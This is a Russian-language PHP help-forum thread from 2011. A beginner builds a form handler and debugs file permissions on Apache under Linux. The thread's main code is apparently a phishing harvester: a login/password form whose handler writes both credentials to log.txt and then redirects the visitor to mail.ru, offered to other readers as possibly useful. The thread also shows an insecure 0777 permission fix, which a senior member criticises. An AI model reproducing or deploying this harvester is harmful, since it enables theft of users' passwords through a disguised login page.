PHP обработчик POST запросов.
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
PHP обработчик POST запросов. - 2011-04-05 19:48:49.620000
|
|
|
POXYIST
Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
|
Есть форма: <html> <head> <title> Форма </title> </head> <body> <form method = "post" action = "obrabotka.php"> Логин: <input type = "text" name = "Login"> <input type = "submit" > </form> </body> </html> Люди добрые напишите код php обработчика,который Логин сохраняет в текстовый файл login.txt :)
|
|
|
RE: PHP обработчик POST запросов. - 2011-04-05 21:25:56.966666
|
|
|
mscrack
Сообщений: 118
Оценки: 0
Присоединился: 2009-03-15 15:07:33.266666
|
<?php
$filename = "login.txt";
$login = ((isset($_POST['login'])) ? $_POST['login'] : "");
$fopen = fopen($filename, 'a+');
if(!$fopen) {
echo 'Не возможно открыть файл, проверьте права<br>';
} else {
fwrite($fopen, $login.' | ');
fclose($fopen);
}
?>
|
|
|
RE: PHP обработчик POST запросов. - 2011-04-06 00:00:15.900000
|
|
|
POXYIST
Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
|
Спасибо[sm=ay.gif] Вот сляпал такую форму <html> <head> <title> Форма </title> </head> <body> <form method = "post" action = "obrabotka.php"> Логин: <input type = "text" name = "login"> Пароль: <input type = "text" name = "pass"> <input type = "submit" value = "Вход"> </form> </body> </html> И вот обработчик к ней <?php $log = fopen("log.txt", 'a+'); fwrite($log,"\n Логин: $login Пароль: $pass \n"); fclose($log); ?> Создаёт log.txt и пишет в нём логин и пароль[sm=ab.gif] Мож каму пригодиться[sm=ad.gif]
|
|
|
RE: PHP обработчик POST запросов. - 2011-04-06 20:17:39.726666
|
|
|
POXYIST
Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
|
[sm=17.gif] Поднял Апач на Linux установил php5 И закинул форму с обработкой.Всё настроил,захожу удалённо на сервер форма работает,а обработчик текстовый файл не хочет создавать.Под Виндой на Денвере локально всё работало. <?php $filename = "login.txt"; $login = ((isset($_POST['login'])) ? $_POST['login'] : ""); $fopen = fopen($filename, 'a+'); if(!$fopen) { echo 'Не возможно открыть файл, проверьте права<br>'; } else { fwrite($fopen, $login.' | '); fclose($fopen); } ?> Вот этот обработчик пишит "Не возможно открыть файл, проверьте права" А этот: <?php $log = fopen("log.txt", 'a+'); fwrite($log,"\n Логин: $login Пароль: $pass \n"); fclose($log); echo "<HТМL><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.ru/'></head></HТМL>"; ?> Перекидывает на маил.ру, но файл также не создаётся((( Тоесть получается всё вроде работает,за исключением создания текстового документа который та мне и нужен. [sm=bu.gif] Почему не создаётся log.txt В Апаче под Linux-ом????[sm=bu.gif] [sm=bc.gif]Хоть намекните,ну очнь нада…плз..[sm=bh.gif] Захожу локально (т.е. на машине в которой стоит Апач)-пишу localhost форма открывается,ввожу данные и нажимаю отправить,и тут вылазиет окно Мозилы и предлагает сохранить или открыть с помощью разных прог файл obrabotka.php Мндя.. Во жопа та какая.. Чё делать то???[sm=ak.gif]
|
|
|
RE: PHP обработчик POST запросов. - 2011-04-06 21:38:07.846666
|
|
|
POXYIST
Сообщений: 48
Оценки: 0
Присоединился: 2010-04-13 11:50:01.080000
|
Фуууфффф..Разобрался с помощю своего мозга[sm=ab.gif] Нужно было прова доступа подправить.Вобщем тыркался ,тыркался..незнаю чё ввёл,но что-то типа mkdir("/www", 0777); Тока не так,а как х..й поймеш.Вобщем работает и хрен с ним…[sm=ao.gif]
|
|
|
RE: PHP обработчик POST запросов. - 2011-04-07 01:35:15.586666
|
|
|
rgo
Сообщений: 7170
Оценки: 281
Присоединился: 2004-09-25 05:14:25
|
quote:
ORIGINAL: POXYIST Фуууфффф..Разобрался с помощю своего мозга[sm=ab.gif] Нужно было прова доступа подправить.Вобщем тыркался ,тыркался..незнаю чё ввёл,но что-то типа mkdir("/www", 0777); Молодца! Ты дал права на чтение/запись на директорию /www всем пользователям системы. Права на файлы, вообще-то очень неплохая штука для подстраховки, на случай взлома. Они сильно мешают развернуться взломщику в полный рост. Ты же отказался от этого. Делай не так, создай log.txt в директории /tmp. И создай с правами: 0600 (-rw——-). То есть только владелец файла сможет читать из/писать в этот файл. Ну ещё рут сможет, но руту всё можно.
|
|
|
|
|